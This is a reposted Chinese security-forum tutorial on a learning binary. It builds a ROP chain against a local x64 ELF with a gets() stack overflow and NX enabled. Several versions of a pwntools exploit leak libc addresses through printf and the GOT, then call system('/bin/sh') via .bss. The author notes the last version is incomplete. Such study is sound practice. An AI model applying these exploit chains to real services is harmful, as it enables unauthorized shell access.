查看原文
其他

ROP【二进制学习】

山竹笠 看雪学院 2019-05-26

Linux x64平台上的二进制ROP分析学习,目标文件附件中。文件开启了NX保护,使用ROP技术实现溢出绕过。


IDA 反汇编查看文件如下:





进入vuln函数后 栈开辟 rsp,40h大小,gets函数读入数据到rdi指向的空间,而此时rdi是指向栈顶,如果不遇到换行符或0 gets将一直读入数据到栈上。所以这是一个经典的栈溢出。下面开始分析学习。




使用pwn工具检查ELF文件开启的保护,代码如下:


#!/usr/bin/python
from pwn import *                                                                                                          
import pdb

context.log_level = 'debug'
target=process('./rop')
elf = ELF('./rop')
pdb.set_trace()
 
target.sendline('a'*64+'b'*8+'c'*8)
target.interactive()



文件开启了NX保护,因为堆栈开辟了0x40大小,所以我用40个a覆盖这个40字节大小,用8字节b覆盖rbp,后面用8字节c覆盖返回地址。函数返回时会跳转到ccc处执行,程序崩溃。


因为有NX保护所以不能再堆栈上执行,这里需要迂回利用即ROP技术得到shell。


如果最终执行shellcode获得shell就要通过mmap函数在可执行的代码区申请一片空间,然后执行gets函数拷贝shellcode到该空间,最后把EIP指向shellcode的空间去执行。这样就需要在ELF的内存中找到一个可执行可写的空间。




如图所示,凡是可执行的空间不可写,凡是可写的空间不能执行。但是ELF内存中加载了libc库,这个库里面有system函数,执行system(‘/bin/sh’)同样可以获得SHELL。


问题一:ELF虽然没有开启PIE(内存地址随机化),其内存加载基地址虽然是固定的,但是ELF中并没有明确调用system函数,所以我们无法直接拿system函数用。


解答:通过观察rop文件发现其中有一个printf函数,打印来自终端输入的字符,我们控制printf函数打印system函数地址。





1、ROP链构造打印system函数地址


研究怎么控制rsi的值,现在我们能控制函数的返回值地址,那么只要跳转到一个代码片段给rsi赋值后返回,然后在跳转到printf处执行即可(这里就是获得gadget)。已有现成的工具来搜索这样的代码片段了 可网上搜索查找,这里使用IDA搜索本地pop rsi。如下:




堆栈里布置数据,先执行0x40075A处的代码,然后跳转到 0x400740处去执行,这样就可以控制r12,edi,rsi。然后执行call的时候让call地址变成printf got表里的地址,这样就可以打印任意地址指向的内存值。


  1. 返回值地址处用0x40075A覆盖。

  2. 因为call执行完后 要判断rbx rbp是否相等。所以这里让rbx为0,rbp为1就绕过了循环判断。

  3. 使用printf的got地址填充,这样pop r12, rbx为0 然后call调用printf函数。

  4. r13 并没有怎么使用所以这里填充0。

  5. r14 传给了 rsi 这里是我们要打印的地址,这里打印printf got表地址指向的内容,所以使用printf got地址填充。

  6. r15 传给了 edi,对printf函数参数来说他是一个格式化串,这里只是只用文件中的字串0x400784地址填充。

  7. retun指向后要返回到rsp指向的空间,这里因为要跳转到0x400740处去执行call,所以使用0x400740覆盖。

  8. Call执行完后,还要执行一个“add rsp,8”和6次pop,那么我们在后面再布置7个地址,然后返回地址用vuln地址,继续跳转到漏洞函数处。7个0和0x400656。


#!/usr/bin/python
from pwn import *
import pdb                                                                                                                  
context.log_level = 'debug'
target=process('./rop')
elf = ELF('./rop')
print_got_addr = elf.got['printf']
print(hex(print_got_addr))
 
rop='a'*72

rop += p64(0x40075a)   #返回地址
rop += p64(0x0)             # rbx
rop += p64(0x1)             # rbp
rop += p64(print_got_addr)
rop += p64(0x0)
rop += p64(0x400784)
rop += p64(0x400740)
rop += p64(0x0) * 7
rop += p64(0x400656)

pdb.set_trace()

target.sendline(rop)
target.recvuntil(':')
target.recvuntil(': ')
addr = target.recvline()[:-1]
addr = u64(addr + '\x00' (8-len(addr)))
print('printfs addr is :')
print(hex(addr))

target.interactive()





注意这里有个问题:这堆栈里面 r12 和 r13并没有按照我们原本想象的那样填充。因为gets函数遇到换行符就结束了后面的内容不在读取。然而printf_got_addr = 0x600af0,这个数据中刚好有个0x0a(换行符内存中的值)


解决办法:不用直接传0x600af0,我们可以配合rbx*8 变换,然后r12变成其他的值即可。r12 = 0x600af0-rbx*8 ,如果要改变到0x0a,则需要rbx*8 > 0xF0   ---->   rbx > 0xF0/8 == rbx > 0x1e,因为后面有个判断 rbp = rbx + 1 所以这里让rbx = 0x1f。


修改代码继续打印system地址:

#!/usr/bin/python
  from pwn import *
  import pdb                                                                                                                  
  context.log_level = 'debug'
  target=process('./rop')
  elf = ELF('./rop')
  print_got_addr = elf.got['printf']
  gets_got_addr = elf.got['gets']
  print(hex(print_got_addr))
rop='a'*72
rop += p64(0x40075a)
rop += p64(0x1f)
rop += p64(0x20)
rop += p64(print_got_addr - 0xf8)
rop += p64(0x0)
rop += p64(gets_got_addr)
rop += p64(0x400784)
rop += p64(0x400740)
rop += p64(0x0) * 7
rop += p64(0x400656)

pdb.set_trace()

target.sendline(rop)
target.recvuntil(':')
target.recvuntil(': ')
addr = target.recvline()[:-1]
addr = u64(addr+'\x00'*(8-len(addr)))
print('printfs addr is :')
print(hex(addr))


IDA 附加程序执行到printf函数时发出一个退出信号。因为printf需要rax为0,所以rop链需要在继续添加跳转让rax为0的代码段。在如下地址找到(0x4005F3):



这里我们先将返回地址覆盖成0x4005F3然后在跳转到0x40075a 就可以完成printf函数执行。修改代码如下:

#!/usr/bin/python
from pwn import *
 import pdb                                                                                                                  
 context.log_level = 'debug'
 target=process('./rop')
 elf = ELF('./rop')
 print_got_addr = elf.got['printf']
 gets_got_addr = elf.got['gets']
 print(hex(print_got_addr))

rop='a'*72
rop += p64(0x4005f3)    #rax为0
rop += p64(0x0)

rop += p64(0x40075a)
rop += p64(0x1f)
rop += p64(0x20)
rop += p64(print_got_addr - 0xf8)
rop += p64(0x0)
rop += p64(gets_got_addr)
rop += p64(0x400784)
rop += p64(0x400740)
rop += p64(0x0) * 7
rop += p64(0x400656)

pdb.set_trace()

target.sendline(rop)
target.recvuntil(':')
target.recvuntil(': ')
addr = target.recvline()[:-1]
addr = u64(addr+'\x00'*(8-len(addr)))
print('printfs addr is :')
print(hex(addr))

调试输出system函数地址:




后面我使用IDA 附加程序找到system函数地址和gets函数地址计算两个地址之间的偏移:




我电脑上计算的偏移为:0x28DE0


system函数在libc中的地址为 0x7fafa2911370 - 0x28DE0


64位汇编

当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。

当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样


参数个数大于 7 个的时候

H(a, b, c, d, e, f, g, h);

a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9

h->8(%esp)

g->(%esp)

call H



2、ROP链构造执行system函数


得到system函数地址后,接下来就是执行system。那么x64系统下参数是存放在寄存器上,第一个参数地址放在rdi寄存器里。


这样要执行system(‘/bin/sh’)我们就需要找'/bin/sh'字符串的地址,然后把该地址放到rdi再去执行system函数,才能获得shell。其实在libc里面有‘/bin/sh’也可以用上面的办法计算偏移得到地址。参考文章中是继续使用Rop链所以我跟随文章中的思路继续学习。


通过观察ELF文件各个区段信息,发现.bss段是可写的,利用Rop技术执行gets函数,把'/bin/sh'读入到这个区域,然后记录其地址,并传给edi。system函数地址也写入到.bss段中。


bss段地址为 0x600B30.   这里  0x600B30存放system函数地址,0x600B38存放字符串,执行call 0x6000b30就会跳转到system地址处去执行。




构造rop来执行gets函数把输入的值写到bss段上。源码里gets函数相关的反汇编:




可以看到,gets执行是把输入的数据直接读入到了rdi指向的内存空间了,这里我们就控制rdi为0x600b30,然后一起读入system地址和/bin/sh.


所利用的代码片段如下:


#!/usr/bin/python
  from pwn import *                                                                                                          
  import pdb
  context.log_level = 'debug'
  target=process('./rop')
  elf = ELF('./rop')
  print_got_addr = elf.got['printf']
  gets_got_addr = elf.got['gets']
  print(hex(print_got_addr))

rop='a'*72
rop += p64(0x4005f3)
rop += p64(0x0)

rop += p64(0x40075a)
rop += p64(0x1f)
rop += p64(0x20)
rop += p64(print_got_addr - 0xf8)
rop += p64(0x0)
rop += p64(gets_got_addr)
rop += p64(0x400784)
rop += p64(0x400740)
rop += p64(0x0) * 7
rop += p64(0x400656)

pdb.set_trace()

target.sendline(rop)
target.recvuntil(':')
target.recvuntil(': ')
addr = target.recvline()[:-1]
addr = u64(addr+'\x00'*(8-len(addr)))
sys_addr = addr - 0x28DE0
print('printfs addr is :')
print(hex(addr))




rop ='a'*72
rop += p64(0x40075a)
rop += p64(0x0)
rop += p64(0x1)
rop += p64(gets_got_addr)
rop += p64(0x0)
rop += p64(0x0)
rop += p64(0x600b30)
rop += p64(0x400740)
rop += p64(0x0)*7
rop += p64(0x40075a)


rop += p64(0x0)
rop += p64(0x1)
rop += p64(0x600b30)
rop += p64(0x0)
rop += p64(0x0)
rop += p64(0x600b38)
rop += p64(0x0400740)
rop += p64(0x0)*7
rop += p64(0x400656)

target.sendline(rop)
target.sendline(p64(sys_addr)+'/bin/sh')
target.sendline(rop)

target.interactive()

因为某个知识点不清楚代码写的不完整所以运行效果没有像原文中那样完整:




感谢看雪论坛和论坛上大佬们的无私奉献!

链接: https://bbs.pediy.com/thread-221041.htm     



看雪ID:山竹笠 

bbs.pediy.com/user-778210



本文由看雪论坛 山竹笠  原创

转载请注明来自看雪社区





热门技术文章推荐:







戳原文,看看大家都是怎么说的?

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存